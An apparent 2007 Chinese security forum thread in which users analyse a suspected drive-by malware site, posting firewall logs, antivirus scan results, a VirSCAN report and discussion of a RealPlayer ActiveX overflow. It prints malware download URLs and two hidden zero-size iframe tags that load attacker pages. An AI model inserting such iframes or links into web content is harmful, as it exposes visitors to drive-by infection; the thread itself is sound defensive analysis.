是毒网吗？

小飞侠.net

是毒网吗？
htt p://ad.uop0.cn/shop.htm

2007-11-19 17:41:48    修改文件      操作:阻止
进程路径:C:\Program Files\Maxthon2\Maxthon.exe
文件路径:C:\WINDOWS\system32\drivers\etc\hosts
触发规则:所有程序规则->系统文件->%WinDir%\system32\drivers\etc\hosts


2007-11-19 17:41:50    修改文件      操作:阻止
进程路径:C:\Program Files\Maxthon2\Maxthon.exe
文件路径:C:\WINDOWS\system32\drivers\tcpip.sys
触发规则:所有程序规则->系统文件->%WinDir%\system32\drivers\*.sys


2007-11-19 17:41:51    修改文件      操作:阻止
进程路径:C:\Program Files\Maxthon2\Maxthon.exe
文件路径:C:\WINDOWS\system32\drivers\tcpip.sys
触发规则:所有程序规则->系统文件->%WinDir%\system32\drivers\*.sys


2007-11-19 17:41:54    修改文件      操作:阻止
进程路径:C:\Program Files\Maxthon2\Maxthon.exe
文件路径:C:\WINDOWS\system32\drivers\tcpip.sys
触发规则:所有程序规则->系统文件->%WinDir%\system32\drivers\*.sys


2007-11-19 17:41:55    修改文件      操作:阻止
进程路径:C:\Program Files\Maxthon2\Maxthon.exe
文件路径:C:\WINDOWS\system32\drivers\tcpip.sys
触发规则:所有程序规则->系统文件->%WinDir%\system32\drivers\*.sys


2007-11-19 17:41:57    修改文件      操作:阻止
进程路径:C:\Program Files\Maxthon2\Maxthon.exe
文件路径:C:\WINDOWS\system32\drivers\tcpip.sys
触发规则:所有程序规则->系统文件->%WinDir%\system32\drivers\*.sys


2007-11-19 17:41:58    修改文件      操作:阻止
进程路径:C:\Program Files\Maxthon2\Maxthon.exe
文件路径:C:\WINDOWS\system32\drivers\etc\hosts
触发规则:所有程序规则->系统文件->%WinDir%\system32\drivers\etc\hosts


2007-11-19 17:41:59    修改文件      操作:阻止
进程路径:C:\Program Files\Maxthon2\Maxthon.exe
文件路径:C:\WINDOWS\system32\drivers\tcpip.sys
触发规则:所有程序规则->系统文件->%WinDir%\system32\drivers\*.sys


2007-11-19 17:42:02    修改文件      操作:阻止
进程路径:C:\Program Files\Maxthon2\Maxthon.exe
文件路径:C:\WINDOWS\system32\drivers\etc\hosts
触发规则:所有程序规则->系统文件->%WinDir%\system32\drivers\etc\hosts


2007-11-19 17:42:05    修改文件      操作:阻止
进程路径:C:\Program Files\Maxthon2\Maxthon.exe
文件路径:C:\WINDOWS\system32\drivers\tcpip.sys
触发规则:所有程序规则->系统文件->%WinDir%\system32\drivers\*.sys


2007-11-19 17:42:08    修改文件      操作:阻止
进程路径:C:\Program Files\Maxthon2\Maxthon.exe
文件路径:C:\WINDOWS\system32\drivers\tcpip.sys
触发规则:所有程序规则->系统文件->%WinDir%\system32\drivers\*.sys

小飞侠.net

http://down.llsging.com/bb/t.exe
http://down.llsging.com/bb/bd.exe
http://down.llsging.com/bb/bd.cab
http://down.llsging.com/bb/014.exe
http://down.llsging.com/bb/pps.exe
http://down.llsging.com/bb/bf.exe

<iframe src=http://aa.llsging.com/aa/haha.htm width=0 height=0></iframe>
<iframe src=http://aa.llsging.com/aa/pps.htm width=0 height=0></iframe>

qigang

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.Win32.Mnless.zgw  

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.19.01

Graybird

Starting the file scan:

Begin scan in 'E:\virus.rar'
E:\virus.rar
  [0] Archive type: RAR
  --> t.exe
      [DETECTION] Is the Trojan horse TR/Dldr.Agent.45056
  --> bd.exe
      [DETECTION] Is the Trojan horse TR/Dldr.Agent.45056
  --> 014.exe
      [DETECTION] Is the Trojan horse TR/Dldr.Agent.45056
  --> pps.exe
      [DETECTION] Is the Trojan horse TR/Dldr.Agent.45056
  --> bf.exe
      [DETECTION] Is the Trojan horse TR/Dldr.Agent.45056
    --> bd.cab
      [1] Archive type: CAB (Microsoft)
      --> bd.exe
          [DETECTION] Is the Trojan horse TR/Dldr.Agent.45056
      [INFO]      The file was deleted!


End of the scan: 2007年11月19日  19:16
Used time: 00:19 min

The scan has been done completely.

      0 Scanning directories
      8 Files were scanned
      6 viruses and/or unwanted programs were found
      0 Files were classified as suspicious:
      1 files were deleted
      0 files were repaired
      0 files were moved to quarantine
      0 files were renamed
      0 Files cannot be scanned
      2 Files not concerned
      2 Archives were scanned
      0 Warnings
      0 Notes

Roboon

Roboon：过卡巴！？

BING126

咖啡没反应？

wangjay1980

detected: virus Worm.Win32.Downloader.as        File: C:\Documents and Settings\Owner\×&Agrave;&Atilde;&aelig;\virus.rar/t.exe//PE_Patch//UPack
detected: virus Worm.Win32.Downloader.as        File: C:\Documents and Settings\Owner\×&Agrave;&Atilde;&aelig;\virus.rar/bd.exe//PE_Patch//UPack
detected: virus Worm.Win32.Downloader.as        File: C:\Documents and Settings\Owner\×&Agrave;&Atilde;&aelig;\virus.rar/014.exe//PE_Patch//UPack
detected: virus Worm.Win32.Downloader.as        File: C:\Documents and Settings\Owner\×&Agrave;&Atilde;&aelig;\virus.rar/pps.exe//PE_Patch//UPack
detected: virus Worm.Win32.Downloader.as        File: C:\Documents and Settings\Owner\×&Agrave;&Atilde;&aelig;\virus.rar/bf.exe//PE_Patch//UPack
detected: virus Worm.Win32.Downloader.as        File: C:\Documents and Settings\Owner\×&Agrave;&Atilde;&aelig;\virus.rar/bd.cab/bd.exe//PE_Patch//UPack

uhthn2002

Uhthn Anti-Spyware V3 Alpha
Version - 3.0.0
Standard Database - 939
Paranoia Database - 48881
Heuristics Analysis - Excessive
Scan in - C:\Documents and Settings\Uhthn\Desktop\桌面

C:\Documents and Settings\Uhthn\Desktop\桌面\t.exe - Infected GENERIC.MALWARE.333.81B4 - Deleted
C:\Documents and Settings\Uhthn\Desktop\桌面\bd.exe - Suspected TROJAN-PSW.ONLINEGAMES.2
C:\Documents and Settings\Uhthn\Desktop\桌面\014.exe - Infected GENERIC.MALWARE.333.81B4 - Deleted
C:\Documents and Settings\Uhthn\Desktop\桌面\pps.exe - Infected GENERIC.MALWARE.333.81B4 - Deleted
C:\Documents and Settings\Uhthn\Desktop\桌面\bf.exe - Infected GENERIC.MALWARE.333.81B4 - Deleted
C:\Documents and Settings\Uhthn\Desktop\桌面\bd.cab - Suspected TROJAN-PSW.ONLINEGAMES.2

6 Files scanned
4 Infected files found
2 Suspected files found
0 Files disinfected
4 Files deleted

billy_xx

NOD32全杀

小飞侠.net

轩辕小聪  19:35:32
利用10月公布的realplayer的ActiveX插件的Import方法的漏洞

轩辕小聪  19:40:01
These characters can be read directly by Intel IA-32 CPUs modifying machine code instructions on-the-fly.  
二犟子℡ /kf  19:40:02

轩辕小聪  19:40:43
字符被当成机器码读取了，好像是这个意思
轩辕小聪  19:40:52
这是个缓冲区栈溢出

后面的那段代码也在看在，生成文件倒有一个C:\U.exe。

VirSCAN.org Scanned Report :
Scanned time   : 2007/11/20 00:05:55 (CST)
Scanner results: 69%的杀软(24/35)报告发现病毒
File Name      : U.rar
File Size      : 66523 byte
File Type      : RAR archive data, v1d, os
MD5            : 3043696803b20a4c7108be57cbc463bc
SHA1           : 864cc07a866aa1e80c5d257a4ec773e8dcfc656c
Online report  : http://virscan.org/report/4c6dc3c0427315ecbee9560cee11174a.html
Scanner        Engine Ver      Sig Ver           Sig Date    Time   Scan result
a-squared      3.0.0.126       2007.11.18        2007-11-18  7.42   -
安博士V3       2007.11.17.00   2007.11.17        2007-11-17  3.02   -
AntiVir        7.6.0.34        7.0.0.233         2007-11-19  15.75  TR/Dldr.Agent.45056
Arcavir        1.0.4           200711181423      2007-11-18  9.76   Heur.Win32.I
AVAST          1.0.8           071119-0          2007-11-19  13.80  Win32:Downloader-PT [Wrm]
AVG            7.5.49.442      269.16.0/1139     2007-11-19  14.04  Dropper.Generic.RXT
BitDefender    7.60825.956178  7.15877           2007-11-19  23.83  Dropped:Trojan.Exploit.Dcomrpc.AW
CA (VET)       9.0.0.143       31.2.5304         2007-11-17  2.74   -
ClamAV         0.91.2          4841              2007-11-19  0.03   PUA.Packed.UPack-2
Comodo         2.11            2.0.0.348         2007-11-19  3.05   -
CP Secure      1.1.0.655       2007.11.19        2007-11-19  56.52  -
Dr.WEB         4.44.0.9170     2007.11.19        2007-11-19  37.61  Win32.HLLW.Rubbish
ewido          4.0.0.2         2007.11.18        2007-11-18  5.46   -
F-PROT         4.4.1.52        20071118          2007-11-18  18.76  Possible W32/Heuristic-162!Eldorado (damaged, not disinfectable)
F-SECURE       5.51.6100       2007.11.19.06     2007-11-19  0.30   Worm.Win32.Downloader.as [AVP]
飞塔           2.81-3.11       8.385             2007-11-18  4.12   Suspicious
ViRobot        20071119        2007.11.19        2007-11-19  3.15   -
IKARUS         T3.1.01.15      2007.11.19.69841  2007-11-19  5.49   Trojan-Downloader.Win32.Zlob.and
江民杀毒       10.00.650       2007.11.18        2007-11-18  5.37   Trojan/PSW.GamePass.acxr
卡巴斯基       5.5.10          2007.11.19        2007-11-19  68.11  Worm.Win32.Downloader.as
金山毒霸       2007.6.20.249   2007.11.20        2007-11-20  5.24   Win32.Troj.DownArpT.xo.135168
迈克菲         5.2.00          5165              2007-11-16  0.00   -
MKS_VIR        2.01            2007.11.18        2007-11-18  20.83  Heur.Win32
NORMAN         5.91.08         5.90              2007-11-18  34.29  W32/Suspicious_U.gen
熊猫卫士       9.04.03.0001    2007.11.18        2007-11-18  7.05   -
趋势           8.500-1001      4.832.09          2007-11-19  0.04   WORM_DLOADER.QFD
Prevx          V2              20071119          2007-11-19  10.86  GENERIC.MALWARE
QuickHeal      9.00            2007.11.16        2007-11-16  4.95   Worm.Downloader.as
瑞星           19.0            20.18.61.00       2007-11-18  9.49   Trojan.Win32.Mnless.zgw
SOPHOS         2.49.1          4.21              2007-11-19  0.00   -
赛门铁克       1.3.0.24        20071118.016      2007-11-18  0.41   W32.Fujacks.L
nProtect       2007-11-19.00   1056315           2007-11-19  10.44  Trojan-Exploit/W32.DComRPC.33208
The Hacker     6.2.9           v00133            2007-11-17  3.23   W32/Downloader.as
VBA32          3.12.2.5        20071119.0951     2007-11-19  20.27  Win32.Trojan.Downloader (http://...) (suspicious)
VirusBuster    4.3.19:9        9.115.1/11.0      2007-11-18  0.05   -